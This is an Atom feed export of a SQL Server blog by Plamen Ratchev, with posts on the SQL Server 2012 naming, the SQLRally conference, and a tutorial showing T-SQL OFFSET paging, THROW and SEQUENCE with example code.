<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4282222233168200124</id><updated>2012-01-27T18:49:17.833-05:00</updated><category term='Denali'/><category term='CLR'/><category term='nested set'/><category term='cross-tab'/><category term='books'/><category term='pivot'/><category term='archive history data'/><category term='sql server connectivity'/><category term='SQL Server 2012'/><category term='row number'/><category term='date'/><category term='common table expressions'/><category term='sql injection'/><category term='sql server express'/><category term='blob'/><category term='sql server 2008'/><category term='trees'/><category term='SQLSaturday'/><category term='image'/><category term='64 bit'/><category term='performance tuning'/><category term='xml'/><category term='sql server compact'/><category term='adjacency list'/><category term='refactoring'/><category term='security'/><category term='best practices'/><category term='import data'/><category term='hierarchy'/><category term='daylight saving time'/><category term='set based'/><category term='PASS'/><category term='sql server'/><category term='service pack'/><category term='time'/><category term='style'/><category term='geometry'/><category term='recursive CTE'/><category term='filestream'/><category term='unpivot'/><category term='joins'/><category term='sql'/><category term='SQL Server 2011'/><category term='spatial'/><category term='geography'/><category term='t-sql programming'/><category term='datetime'/><category term='SQLRally'/><category term='bulk load'/><category term='Excel'/><title type='text'>Zen of SQL</title><subtitle type='html'>Plamen Ratchev's blog on writing SQL with style</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>75</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-5723073736106840371</id><published>2011-10-17T14:45:00.000-04:00</published><updated>2011-10-19T14:45:50.126-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Denali'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2012'/><title type='text'>SQL Server 2012</title><content type='html'>&lt;p&gt;&lt;span style="padding-bottom: 0px; line-height: 0.9em; margin: -0.28em 0px 0px; padding-left: 0px; padding-right: 0.05em; display: block; float: left; color: #aaa; font-size: 560%; padding-top: 0px"&gt;I&lt;/span&gt; was at the SQL Server PASS Summit in Seattle last week and one of the big announcements was that SQL Server code name Denali (SQL11) is officially named SQL Server 2012 (scheduled for release early in the year)! Here is the proof: &lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/-4UNVD-DQHIs/Tp8a3KISThI/AAAAAAAAAFk/csP7wNnWgj8/s1600-h/SQL2012%25255B2%25255D.jpg"&gt;&lt;img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="SQL2012" border="0" alt="SQL2012" src="http://lh5.ggpht.com/-OuAEpWaIH-k/Tp8a3alsu2I/AAAAAAAAAFs/1WoQqtuq8q0/SQL2012_thumb.jpg?imgmax=800" width="244" height="139" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Exciting news, lots of great enhancements to come!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-5723073736106840371?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/5723073736106840371/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=5723073736106840371' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/5723073736106840371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/5723073736106840371'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2011/10/sql-server-2012.html' title='SQL Server 2012'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/-OuAEpWaIH-k/Tp8a3alsu2I/AAAAAAAAAFs/1WoQqtuq8q0/s72-c/SQL2012_thumb.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-2238867799502575068</id><published>2011-05-09T12:24:00.001-04:00</published><updated>2011-05-09T12:24:35.702-04:00</updated><title type='text'>Start Your SQL Engines</title><content type='html'>&lt;span style="padding-bottom: 0px; line-height: 0.9em; margin: -0.28em 0px 0px; padding-left: 0px; padding-right: 0.05em; display: block; float: left; color: #aaa; font-size: 560%; padding-top: 0px"&gt;S&lt;/span&gt;  &lt;p&gt;QLRally is only two days away! I am deadlocked here looking at the schedule and trying to make a list of sessions to attend. Such a great line-up of quality content and talented speakers, too bad my concurrency model is not as good as in SQL Server. :) I may have to do some ad-hoc querying in the last moment to make my picks... &lt;/p&gt;  &lt;p&gt;I am so excited to be part of the inaugural SQLRally event! Speaking with DBAs and developers I can see the big need for this small, yet big training event. The hunger for knowledge never ends in our field and to me SQLRally is just right. For the price (and location) it is hard to find an excuse not to attend. So, what are you waiting for, time to start the SQL engines for &lt;a href="http://www.sqlpass.org/sqlrally/2011/orlando/Agenda/Schedule.aspx"&gt;SQLRally&lt;/a&gt;! &lt;/p&gt;  &lt;p&gt;Adding some last minute best practices updates to the content of my precon session &lt;a href="http://www.sqlpass.org/sqlrally/2011/orlando/Agenda/PreConferenceSeminars.aspx#Dev"&gt;Maximize Your SQL Server 2008 Coding Skills&lt;/a&gt; and getting ready to roll the wheels myself! &lt;/p&gt;  &lt;p&gt;See you there! &lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-2238867799502575068?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/2238867799502575068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=2238867799502575068' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/2238867799502575068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/2238867799502575068'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2011/05/start-your-sql-engines.html' title='Start Your SQL Engines'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-3026255499915968988</id><published>2011-02-21T14:21:00.001-05:00</published><updated>2011-02-21T22:17:14.061-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Denali'/><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2011'/><title type='text'>T-SQL Enhancements in SQL Server 2011 (CTP1)</title><content type='html'>&lt;p&gt;&lt;span style="padding-bottom: 0px; line-height: 0.9em; margin: -0.28em 0px 0px; padding-left: 0px; padding-right: 0.05em; display: block; float: left; color: #aaa; font-size: 560%; padding-top: 0px"&gt;S&lt;/span&gt;QL Server 2011 (code named Denali) CTP1 was announced in November 2010 during the &lt;a href="http://www.sqlpass.org/summit/na2010/" target="_blank"&gt;SQL PASS Summit&lt;/a&gt; in Seattle. While a bit disappointing not to see the much anticipated full implementation of the window functions (hope we will still see that in a future CTP version), it offers some interesting &lt;a href="http://msdn.microsoft.com/en-us/library/cc645577(SQL.110)" target="_blank"&gt;new programmability features&lt;/a&gt;. These new enhancements address specific problems that we see very often in business applications. Here is a quick look at the key new features in T-SQL.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Feature:&lt;/strong&gt; &lt;a href="http://msdn.microsoft.com/en-us/library/ms188385(v=SQL.110).aspx" target="_blank"&gt;OFFSET&lt;/a&gt;     &lt;br /&gt;&lt;strong&gt;Application use:&lt;/strong&gt; paging     &lt;br /&gt;&lt;strong&gt;Comments:&lt;/strong&gt; provides simplified syntax and efficient method for data paging solutions    &lt;br /&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;         &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 1: OFFSET example&lt;/td&gt;       &lt;/tr&gt;&lt;tr&gt;         &lt;td&gt;           &lt;br /&gt;&lt;code style="font-size: 12px"&gt;&lt;span style="color: blue"&gt;CREATE TABLE &lt;/span&gt;&lt;span style="color: black"&gt;Customers &lt;/span&gt;&lt;span style="color: gray"&gt;(               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;INT &lt;/span&gt;&lt;span style="color: gray"&gt;NOT NULL &lt;/span&gt;&lt;span style="color: blue"&gt;PRIMARY KEY&lt;/span&gt;&lt;span style="color: gray"&gt;,               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;customer_name &lt;/span&gt;&lt;span style="color: blue"&gt;VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;35&lt;/span&gt;&lt;span style="color: gray"&gt;) NOT NULL);               &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color: black"&gt;Customers                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;VALUES               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Joe'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'John'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;3&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Jane'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;4&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Peter'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;5&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Mary'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;6&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Jose'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;7&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Daniel'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;8&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Adam'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;9&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Chris'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;10&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Tom'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;11&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Evan'&lt;/span&gt;&lt;span style="color: gray"&gt;),               &lt;br /&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;12&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'Lora'&lt;/span&gt;&lt;span style="color: gray"&gt;);               &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;customer_name               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;ORDER BY &lt;/span&gt;&lt;span style="color: black"&gt;customer_name&lt;/span&gt;&lt;span style="color: gray"&gt;;               &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green"&gt;/*               &lt;br /&gt;&lt;br /&gt;customer_name                &lt;br /&gt;---------------                &lt;br /&gt;Adam                &lt;br /&gt;Chris                &lt;br /&gt;Daniel                &lt;br /&gt;Evan                &lt;br /&gt;Jane                &lt;br /&gt;Joe                &lt;br /&gt;John                &lt;br /&gt;Jose                &lt;br /&gt;Lora                &lt;br /&gt;Mary                &lt;br /&gt;Peter                &lt;br /&gt;Tom                &lt;br /&gt;&lt;br /&gt;*/                &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;DECLARE &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;INT = &lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_size &lt;/span&gt;&lt;span style="color: blue"&gt;INT = &lt;/span&gt;&lt;span style="color: black"&gt;5&lt;/span&gt;&lt;span style="color: gray"&gt;;               &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green"&gt;-- first page               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;customer_name               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;ORDER BY &lt;/span&gt;&lt;span style="color: black"&gt;customer_name               &lt;br /&gt;OFFSET &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: #434343"&gt;@page_nbr &lt;/span&gt;&lt;span style="color: gray"&gt;- &lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;) * &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_size &lt;/span&gt;&lt;span style="color: black"&gt;ROWS &lt;/span&gt;&lt;span style="color: blue"&gt;FETCH &lt;/span&gt;&lt;span style="color: black"&gt;NEXT &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_size &lt;/span&gt;&lt;span style="color: black"&gt;ROWS &lt;/span&gt;&lt;span style="color: blue"&gt;ONLY&lt;/span&gt;&lt;span style="color: gray"&gt;;               &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green"&gt;/*               &lt;br /&gt;&lt;br /&gt;customer_name                &lt;br /&gt;---------------                &lt;br /&gt;Adam                &lt;br /&gt;Chris                &lt;br /&gt;Daniel                &lt;br /&gt;Evan                &lt;br /&gt;Jane                &lt;br /&gt;&lt;br /&gt;*/                &lt;br /&gt;&lt;br /&gt;-- second page                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;SET &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;2&lt;/span&gt;&lt;span style="color: gray"&gt;;               &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;customer_name               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;ORDER BY &lt;/span&gt;&lt;span style="color: black"&gt;customer_name               &lt;br /&gt;OFFSET &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: #434343"&gt;@page_nbr &lt;/span&gt;&lt;span style="color: gray"&gt;- &lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;) * &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_size &lt;/span&gt;&lt;span style="color: black"&gt;ROWS &lt;/span&gt;&lt;span style="color: blue"&gt;FETCH &lt;/span&gt;&lt;span style="color: black"&gt;NEXT &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_size &lt;/span&gt;&lt;span style="color: black"&gt;ROWS &lt;/span&gt;&lt;span style="color: blue"&gt;ONLY&lt;/span&gt;&lt;span style="color: gray"&gt;;               &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green"&gt;/*               &lt;br /&gt;&lt;br /&gt;customer_name                &lt;br /&gt;---------------                &lt;br /&gt;Joe                &lt;br /&gt;John                &lt;br /&gt;Jose                &lt;br /&gt;Lora                &lt;br /&gt;Mary                &lt;br /&gt;&lt;br /&gt;*/                &lt;br /&gt;&lt;br /&gt;-- last page                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;customer_name               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;ORDER BY &lt;/span&gt;&lt;span style="color: black"&gt;customer_name               &lt;br /&gt;OFFSET &lt;/span&gt;&lt;span style="color: gray"&gt;((&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: magenta"&gt;COUNT&lt;/span&gt;&lt;span style="color: gray"&gt;(*) &lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers&lt;/span&gt;&lt;span style="color: gray"&gt;) / &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_size&lt;/span&gt;&lt;span style="color: gray"&gt;) * &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_size                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;ROWS &lt;/span&gt;&lt;span style="color: blue"&gt;FETCH &lt;/span&gt;&lt;span style="color: black"&gt;NEXT &lt;/span&gt;&lt;span style="color: #434343"&gt;@page_size &lt;/span&gt;&lt;span style="color: black"&gt;ROWS &lt;/span&gt;&lt;span style="color: blue"&gt;ONLY&lt;/span&gt;&lt;span style="color: gray"&gt;;               &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green"&gt;/*               &lt;br /&gt;&lt;br /&gt;customer_name                &lt;br /&gt;---------------                &lt;br /&gt;Peter                &lt;br /&gt;Tom                &lt;br /&gt;&lt;br /&gt;*/                &lt;br /&gt;&lt;br /&gt;-- any 3 customers                &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;customer_name               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;ORDER BY &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: gray"&gt;NULL)               &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;OFFSET 0 ROWS &lt;/span&gt;&lt;span style="color: blue"&gt;FETCH &lt;/span&gt;&lt;span style="color: black"&gt;NEXT 3 ROWS &lt;/span&gt;&lt;span style="color: blue"&gt;ONLY&lt;/span&gt;&lt;span style="color: gray"&gt;;               &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green"&gt;/*               &lt;br /&gt;&lt;br /&gt;customer_name                &lt;br /&gt;---------------                &lt;br /&gt;Joe                &lt;br /&gt;John                &lt;br /&gt;Jane                &lt;br /&gt;&lt;br /&gt;*/                &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;DROP TABLE &lt;/span&gt;&lt;span style="color: black"&gt;Customers&lt;/span&gt;&lt;span style="color: gray"&gt;;               &lt;/span&gt;&lt;/code&gt; &lt;br /&gt;&lt;br /&gt;&lt;/td&gt;       &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Feature:&lt;/strong&gt; &lt;a href="http://msdn.microsoft.com/en-us/library/ee677615(SQL.110).aspx" target="_blank"&gt;THROW&lt;/a&gt;     &lt;br /&gt;&lt;strong&gt;Application use:&lt;/strong&gt; error handling     &lt;br /&gt;&lt;strong&gt;Comments:&lt;/strong&gt; allow to re-throw the original error &lt;br /&gt;&lt;table cellspacing="0" cellpadding="0" width="100%" style="border-bottom: #aaa 1px dotted;"&gt;&lt;tr&gt;&lt;td style="color: #aaa; border-bottom: #aaa 1px dotted;"&gt;Listing 2: THROW example&lt;/td&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;BEGIN &lt;/span&gt;&lt;span style="color:black"&gt;TRY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:green"&gt;-- inside code THROW is similar to RAISERROR with limitations&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color:black"&gt;THROW 51000&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:red"&gt;'User error.'&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;END &lt;/span&gt;&lt;span style="color:black"&gt;TRY&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;BEGIN &lt;/span&gt;&lt;span style="color:black"&gt;CATCH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color:green"&gt;-- inside CATCH rethrow the error&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style="color:black"&gt;THROW&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;END &lt;/span&gt;&lt;span style="color:black"&gt;CATCH&lt;/span&gt;&lt;/code&gt; &lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Feature:&lt;/strong&gt; &lt;a href="http://msdn.microsoft.com/en-us/library/ff878058(SQL.110).aspx" target="_blank"&gt;SEQUENCE&lt;/a&gt;     &lt;br /&gt;&lt;strong&gt;Application use:&lt;/strong&gt;&amp;#160; replacement for IDENTITY     &lt;br /&gt;&lt;strong&gt;Comments:&lt;/strong&gt; ANSI standard method for sequences, improves on shortcomings of IDENTITY &lt;br /&gt;&lt;table cellspacing="0" cellpadding="0" width="100%" style="border-bottom: #aaa 1px dotted;"&gt;&lt;tr&gt;&lt;td style="color: #aaa; border-bottom: #aaa 1px dotted;"&gt;Listing 3: SEQUENCE example&lt;/td&gt;&lt;tr&gt;&lt;td&gt;&lt;br /&gt;&lt;code style="font-size: 12px;"&gt;&lt;span style="color:blue"&gt;CREATE TABLE &lt;/span&gt;&lt;span style="color:black"&gt;Customers &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr &lt;/span&gt;&lt;span style="color:blue"&gt;INT &lt;/span&gt;&lt;span style="color:gray"&gt;NOT NULL &lt;/span&gt;&lt;span style="color:blue"&gt;PRIMARY KEY&lt;/span&gt;&lt;span style="color:gray"&gt;,&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black"&gt;customer_name &lt;/span&gt;&lt;span style="color:blue"&gt;VARCHAR&lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;35&lt;/span&gt;&lt;span style="color:gray"&gt;) NOT NULL);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;-- create sequence starting with value 1, minimum value 1,&lt;br /&gt;-- no maximum value, and increment by 1&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;CREATE &lt;/span&gt;&lt;span style="color:black"&gt;SEQUENCE CustomerNbr &lt;/span&gt;&lt;span style="color:blue"&gt;AS INT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:black"&gt;MINVALUE 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;NO MAXVALUE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;START &lt;/span&gt;&lt;span style="color:blue"&gt;WITH &lt;/span&gt;&lt;span style="color:black"&gt;1&lt;br /&gt;INCREMENT &lt;/span&gt;&lt;span style="color:blue"&gt;BY &lt;/span&gt;&lt;span style="color:black"&gt;1&lt;/span&gt;&lt;span style="color:gray"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color:green"&gt;-- generate customer numbers based on the sequence&lt;br /&gt;-- using the NEXT VALUE FOR function&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color:black"&gt;Customers &lt;/span&gt;&lt;span style="color:gray"&gt;(&lt;/span&gt;&lt;span style="color:black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:black"&gt;customer_name&lt;/span&gt;&lt;span style="color:gray"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;NEXT VALUE &lt;/span&gt;&lt;span style="color:blue"&gt;FOR &lt;/span&gt;&lt;span style="color:black"&gt;CustomerNbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:red"&gt;'Joe' &lt;/span&gt;&lt;span style="color:blue"&gt;UNION &lt;/span&gt;&lt;span style="color:gray"&gt;ALL&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;NEXT VALUE &lt;/span&gt;&lt;span style="color:blue"&gt;FOR &lt;/span&gt;&lt;span style="color:black"&gt;CustomerNbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:red"&gt;'John' &lt;/span&gt;&lt;span style="color:blue"&gt;UNION &lt;/span&gt;&lt;span style="color:gray"&gt;ALL&lt;br /&gt;&lt;/span&gt;&lt;span style="color:blue"&gt;SELECT &lt;/span&gt;&lt;span style="color:black"&gt;NEXT VALUE &lt;/span&gt;&lt;span style="color:blue"&gt;FOR &lt;/span&gt;&lt;span style="color:black"&gt;CustomerNbr&lt;/span&gt;&lt;span style="color:gray"&gt;, &lt;/span&gt;&lt;span style="color:red"&gt;'Jane' &lt;/span&gt;&lt;span style="color:blue"&gt;UNION &lt;/span&gt;&lt;span style="color:gray"&gt;ALL&lt;br /&gt;&lt;/span&gt;&lt;span 